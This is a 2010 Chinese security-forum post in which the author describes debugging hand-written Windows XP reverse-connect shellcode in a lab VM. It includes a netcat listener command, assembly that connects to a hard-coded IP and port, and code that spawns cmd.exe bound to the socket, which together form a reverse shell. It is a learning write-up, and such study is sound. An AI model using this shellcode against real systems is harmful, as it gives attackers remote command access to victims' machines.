[原創]編寫反連ShellCode遇到的難點並解決之總結

仙果發表於2010-01-20
題目:編寫反連ShellCode遇到的難點並解決之總結
作者:仙果
目錄
0x1 題記
0x2 相關
0x3 難點
0x4 總結

0x1 題記
   漏洞分析暫告了一個段落,轉向了獨立編寫一個反連的ShellCode,相關程式碼網路上已經很多很多,
   自己也參考了網路上公佈的程式碼進行編寫,此篇文章主要記錄編寫過程中困擾自己很多時間的相關問題,並加上自己的理解。

0x2 相關
開發系統:
        Windows XP SP3_cn
        虛擬機器Windows XP sp2_cn
開發軟體:
        vc++6.0 sp6中文版
        vs2008 中文版
除錯軟體:
        WinDbg

0x3 難點

    由於對win32_socket程式設計一點也不瞭解,最多也就編寫過掃描埠的小程式,也是照著網上的程式碼版拼半湊的完成,
    所以此次編寫反連的ShellCode的過程完全是在對其一無所知的情況下完成的,當然完成之後對socket程式設計也還是一知半解的狀態。
        先是在網路上搜尋有關於反連ShellCode的相關程式碼,真正能搜尋到的程式碼很少,很多相同或者類似的程式碼對自己沒有什麼用處,
        最後在metasploit的網站上下載到一套程式碼,其機器碼可以正常執行,但原始碼是asm格式在本機上編譯很多地方出錯,
        不最多如何進行修改,其功能不符合此次編寫的要求,只能手動自己編寫,程式碼作為參考。相關程式碼會進行打包上傳,
        我寫的原始碼就不傳了,大家可以根據帖出來的程式碼自行編寫。
    此前已經把本地監聽埠的相關程式碼已經完成,故利用此前的相關程式碼,經過比較與監聽埠相比只存在相關網路處理函式的不同,
    其初始化函式都是相同的。
0x3.1
        在虛擬機器中使用NC工具監聽需要連線的埠,命令為nc.exe -l -p         4444-vv
   經過WSAStartup及WSASocketA(2,1,0,0,0,0)函式處理後,接下來需要呼叫connect進行相關處理。
   查詢資料得connect執行成功,則其返回值為0,在除錯的時候返回值都是0xffffffff,報錯並退出,程式碼為:
LConnnect:
    push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0
    push 0x11220002 ; port: 8721 
    mov ecx, esp
    push byte 0x10
    push ecx
    push ebx
    call [ebp + 16]   //connect
    test eax, eax
    jne short LFinished

無法得到解答,網上也沒有任何細節上的問題,還好本地有一份用C語言實現的程式碼,
在vc6中進行反彙編除錯,擷取相關細節
85:       if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin)))
00401AB7   mov         esi,esp
00401AB9   push        10h
00401ABB   push        offset s_sin (0047cdf0)
00401AC0   mov         eax,[locals (0047ce5c)]
00401AC5   push        eax
00401AC6   call        dword ptr [__imp__connect@12 (0047f374)]
00401ACC   cmp         esi,esp
00401ACE   call        __chkesp (00420c40)
00401AD3   test        eax,eax
00401AD5   je          getshell+12Bh (00401aeb)


 push        offset s_sin (0047cdf0)中儲存了 埠和反連IP
0047CDF0  02 00 22 11 C0 A8 01 03  ..".括..
0047CDF8  00 00 00 00 00 00 00 00  ........
 mov         eax,[locals (0047ce5c)] 儲存socket的控制程式碼


在windbg中進行除錯發現,

     push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0
    push 0x11220002 ; port: 8721
    mov ecx, esp
過程是  壓入反連IP和埠,mov ecx,esp這句是把埠和IP賦給ecx,並在下面的程式碼中壓入堆疊,作為connect的引數。
還犯了一次把192和168的位置弄反的低階錯誤,最終得以使connect的返回值為正確的0x0。

0x2
    接下來是對CreateprocessA的引數進行處理,主要牽扯到兩個結構&si及&pi,不知道在彙編中如何實現這兩個結構,
    參考程式碼看的不是很懂,只能拿現成的程式碼進行反彙編,相關程式碼如下:
    124:      CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi);

00401CB3   mov         esi,esp
00401CB5   push        offset pi (0047ce08)  //壓入&pi
00401CBA   push        offset si (0047ce18)  //壓入&si
00401CBF   push        0
00401CC1   push        0
00401CC3   push        0
00401CC5   push        1
00401CC7   push        0
00401CC9   push        0
00401CCB   push        offset string "cmd.exe" (0046f178)
00401CD0   push        0
00401CD2   call        dword ptr [__imp__CreateProcessA@40 (0047f200)]

0047CDF8  00 00 00 00 00 00 00 00  ........ //&pi
0047CE00  00 00 00 00 00 00 00 00  ........
0047CE08  00 00 00 00 00 00 00 00  ........
0047CE10  00 00 00 00 00 00 00 00  ........
0047CE18  44 00 00 00 00 00 00 00  D.......//&si
0047CE20  00 00 00 00 00 00 00 00  ........
0047CE28  00 00 00 00 00 00 00 00  ........
0047CE30  00 00 00 00 00 00 00 00  ........
0047CE38  00 00 00 00 00 00 00 00  ........
0047CE40  00 00 00 00 00 01 00 00  ........
0047CE48  00 00 00 00 00 00 00 00  ........
0047CE50  A0 07 00 00 A0 07 00 00  ........
0047CE58  A0 07 00 00 A0 07 00 00  ........

觀察其記憶體資料,&pi是4段為0x0的資料,並且其地址都是連續的,其後跟的是&si
&si的結構比較複雜,第一項的值為0x44 ,第十二項為0x100,最後三項為socket的控制程式碼,其餘項都為0,
並且其記憶體也都是連續的,這就比較好辦些。
以下是實現程式碼,跟參考程式碼有部分差別
  
          xchg    ebx, eax                        ; ebx = socket 控制程式碼
					mov		ebx,eax 													//這段程式碼是無用的
        push    646D63h                         ; "cmd"
        lea     edx, [esp]                       //把"cmd"賦給edx
		

        sub     esp, 54h
        mov     edi, esp
				//mov dword ptr[edi],0x0

        push    14h
        pop     ecx                               //14h賦給ecx
        xor     eax, eax
stack_zero:
        mov     [edi+ecx*4], eax                //這段程式碼對edi的ecx*4的範圍內賦值0,即初始化0
        loop    stack_zero
        
        /*以下程式碼構造&pi及si*/
        mov     byte ptr [edi+10h], 44h         ; si.cb = sizeof(si)
        inc     byte ptr [edi+3Ch]              ; si.dwFlags = 0x100
        inc     byte ptr [edi+3Dh]              ; dwFlags
        mov     [edi+48h], ebx                  ; si.hStdInput = socket
        mov     [edi+4Ch], ebx                  ; hStdOutput = socket
        mov     [edi+50h], ebx                  ; hStdError = socket
        lea     eax, dword ptr [edi+10h]

        push    edi        //&pi
        push    eax        //0x44 &si
        push    ecx
        push    ecx
        push    ecx
        push    1
        push    ecx
        push    ecx
        push    edx                             ; "cmd"
        push    ecx
        call    dword ptr [esi+0x4]

   到這裡反連ShellCode 就完成了
   
0x4 總結
                        由於總結對socket程式設計一知半解,所以對ShellCode的編寫也無法做到融會貫通,
                        對資料結構一點也沒有接觸,看來還需要加強在程式設計方面的基礎
                        以上記錄對大牛來說來說就是簡單的不能再簡單的事情,我等小菜葉只是簡單記錄下共享給像我一樣
                        對編寫ShellCode不懂的兄弟。

參考程式碼.rar
上傳的附件:

相關文章